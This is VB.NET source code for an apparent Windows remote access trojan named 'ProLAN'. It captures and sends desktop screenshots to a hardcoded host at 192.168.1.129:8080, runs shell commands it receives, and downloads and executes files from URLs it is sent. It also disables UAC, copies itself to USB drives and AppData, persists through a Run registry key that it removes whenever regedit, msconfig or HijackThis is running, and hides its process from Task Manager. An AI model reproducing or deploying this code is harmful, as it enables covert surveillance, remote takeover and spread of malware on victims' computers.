Option Explicit On
Imports System.Net.Sockets
Imports System.IO
Imports System.Net
Imports System.Threading
Imports System.Runtime.Serialization.Formatters.Binary
Imports System.Environment
Imports System.Linq
Imports Microsoft.Win32
Imports System.Collections.Generic
Public Class Form1
Inherits Form
Private WithEvents httpclient As WebClient
Dim random As New Random
Dim num As Integer = Random.Next(1000)
Dim client As New TcpClient
Dim nstream As NetworkStream
Dim appData As String = GetFolderPath(SpecialFolder.ApplicationData)
Dim path1 = appData & "\ProLAN_1.0.12\"
Dim pathreg = path1 & "ProLAN" & num & ".exe"
Dim ky As String = "Windows ProLAN"
Dim FileToCopy As String
Dim sendinvo As New Thread(AddressOf pipesrun)
Public Function Desktop() As Image
Dim bounds As Rectangle = Nothing
Dim screenshot As System.Drawing.Bitmap = Nothing
Dim graph As Graphics = Nothing
bounds = Screen.PrimaryScreen.Bounds
screenshot = New Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
graph = Graphics.FromImage(screenshot)
graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
Return screenshot
End Function
Private Sub SendImage()
Try
Dim bf As New BinaryFormatter
nstream = client.GetStream
bf.Serialize(nstream, Desktop())
Catch ex As Exception
Application.Restart()
End Try
End Sub
Public Enum HKEY
ClassesRoot
CurrentUser
LocalMachine
Users
CurrentConfig
End Enum
Public Shared Sub HideValueFromRegistry(ByVal HKEY As HKEY, ByVal SubKey As String, ByVal Name As String, ByVal KeyValue As String)
Dim List As New List(Of String)
For Each Proc As Process In Process.GetProcesses
List.Add(Proc.ProcessName)
Next
If List.Contains("regedit") Or List.Contains("msconfig") Or List.Contains("HijackThis") Then
Select Case HKEY
Case HKEY.ClassesRoot
Dim Key As RegistryKey = Registry.ClassesRoot.OpenSubKey(SubKey)
If Key.GetValue(Name) IsNot Nothing Then
My.Computer.Registry.ClassesRoot.OpenSubKey(SubKey, True).DeleteValue(Name)
End If
Case HKEY.CurrentUser
Dim Key As RegistryKey = Registry.CurrentUser.OpenSubKey(SubKey)
If Key.GetValue(Name) IsNot Nothing Then
My.Computer.Registry.CurrentUser.OpenSubKey(SubKey, True).DeleteValue(Name)
End If
Case HKEY.LocalMachine
Dim Key As RegistryKey = Registry.LocalMachine.OpenSubKey(SubKey)
If Key.GetValue(Name) IsNot Nothing Then
My.Computer.Registry.LocalMachine.OpenSubKey(SubKey, True).DeleteValue(Name)
End If
Case HKEY.Users
Dim Key As RegistryKey = Registry.Users.OpenSubKey(SubKey)
If Key.GetValue(Name) IsNot Nothing Then
My.Computer.Registry.Users.OpenSubKey(SubKey, True).DeleteValue(Name)
End If
Case HKEY.CurrentConfig
Dim Key As RegistryKey = Registry.CurrentConfig.OpenSubKey(SubKey)
If Key.GetValue(Name) IsNot Nothing Then
My.Computer.Registry.CurrentConfig.OpenSubKey(SubKey, True).DeleteValue(Name)
End If
End Select
Else
Select Case HKEY
Case HKEY.ClassesRoot
Dim Key As RegistryKey = Registry.ClassesRoot.OpenSubKey(SubKey)
If Key.GetValue(Name) Is Nothing Then
My.Computer.Registry.ClassesRoot.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)
End If
Case HKEY.CurrentUser
Dim Key As RegistryKey = Registry.CurrentUser.OpenSubKey(SubKey)
If Key.GetValue(Name) Is Nothing Then
My.Computer.Registry.CurrentUser.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)
End If
Case HKEY.LocalMachine
Dim Key As RegistryKey = Registry.LocalMachine.OpenSubKey(SubKey)
If Key.GetValue(Name) Is Nothing Then
My.Computer.Registry.LocalMachine.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)
End If
Case HKEY.Users
Dim Key As RegistryKey = Registry.Users.OpenSubKey(SubKey)
If Key.GetValue(Name) Is Nothing Then
My.Computer.Registry.Users.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)
End If
Case HKEY.CurrentConfig
Dim Key As RegistryKey = Registry.CurrentConfig.OpenSubKey(SubKey)
If Key.GetValue(Name) Is Nothing Then
My.Computer.Registry.CurrentConfig.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)
End If
End Select
End If
End Sub
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
SendImage()
pipesrun()
End Sub
Public Sub pipesrun()
Dim random As New Random
Dim num As Integer = random.Next(1000)
If client.GetStream.DataAvailable = True Then
Dim tmp_byte(client.ReceiveBufferSize) As Byte
Dim BytesRead As Integer
Dim content As String
Dim path2 As String = path1 & num & ".exe"
SyncLock client
BytesRead = Me.client.GetStream.Read(tmp_byte, 0, client.ReceiveBufferSize)
content = System.Text.Encoding.ASCII.GetString(tmp_byte, 0, BytesRead)
If content.StartsWith("http:") Or content.StartsWith("ftp:") = True Then
httpclient = New WebClient
httpclient.DownloadFile(content, path2)
AddHandler httpclient.DownloadFileCompleted, AddressOf Downloaded
If My.Computer.FileSystem.FileExists(path2) = True Then
Shell(path2)
End If
Else
Shell(content)
End If
End SyncLock
End If
End Sub
Private Sub Downloaded(ByVal sender As Object, ByVal e As System.ComponentModel.AsyncCompletedEventArgs)
System.Threading.Thread.Sleep(3000)
End Sub
Private Sub Con()
If client.Connected = False Then
Try
client.Connect("192.168.1.129", 8080)
System.Threading.Thread.Sleep(10000)
If client.Connected Then
Timer1.Enabled = True
Label1.Text = "Conectat"
Timer3.Enabled = False
End If
Catch ex As Exception
Application.Restart()
End Try
End If
End Sub
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Dim autoshell = My.Computer.Registry.LocalMachine.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System", True)
autoshell.SetValue("EnableLUA", 0)
autoshell.Close()
USBDrives()
If My.Computer.FileSystem.DirectoryExists(path1) = False Then
FileToCopy = Application.ExecutablePath
System.IO.Directory.CreateDirectory(path1)
System.IO.File.Copy(FileToCopy, pathreg)
MsgBox("El equipo se reiniciara")
' System.Diagnostics.Process.Start("shutdown.exe", "-r -t 0")
End If
End Sub
Public Function USBDrives() As Boolean
On Error Resume Next
Dim drives() As DriveInfo = DriveInfo.GetDrives()
FileToCopy = Application.ExecutablePath
For Each found As DriveInfo In drives
If found.DriveType = "2" And found.IsReady = True Then
If System.IO.File.Exists(found.Name & "ProLan.exe") = False Then
System.IO.File.Copy(FileToCopy, found.Name & "ProLan.exe")
End If
End If
Next found
Return True
End Function
Private Sub Timer3_Tick(sender As Object, e As EventArgs) Handles Timer3.Tick
Con()
End Sub
Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
' Me.Hide()
Dim appName As String = Process.GetCurrentProcess.ProcessName
Dim sameProcessTotal As Integer = Process.GetProcessesByName(appName).Length
Dim Procesfile = appName & ".exe"
If sameProcessTotal > 1 Then
Application.Exit()
End If
appName = Nothing
sameProcessTotal = Nothing
HideValueFromRegistry(HKEY.CurrentUser, "Software\Microsoft\Windows\CurrentVersion\Run", ky, pathreg)
Hide_Process_From_TaskManager.Processes_Names = {Process.GetCurrentProcess.ProcessName, Procesfile}
Hide_Process_From_TaskManager.Task_Manager_Window_Titles = {"Administrador de tareas de Windows", "Windows Task Manager"}
Hide_Process_From_TaskManager.Hide_Interval = 3 ' Hidding Interval.
Hide_Process_From_TaskManager.Running = True ' Start hidding processes.
End Sub
End Class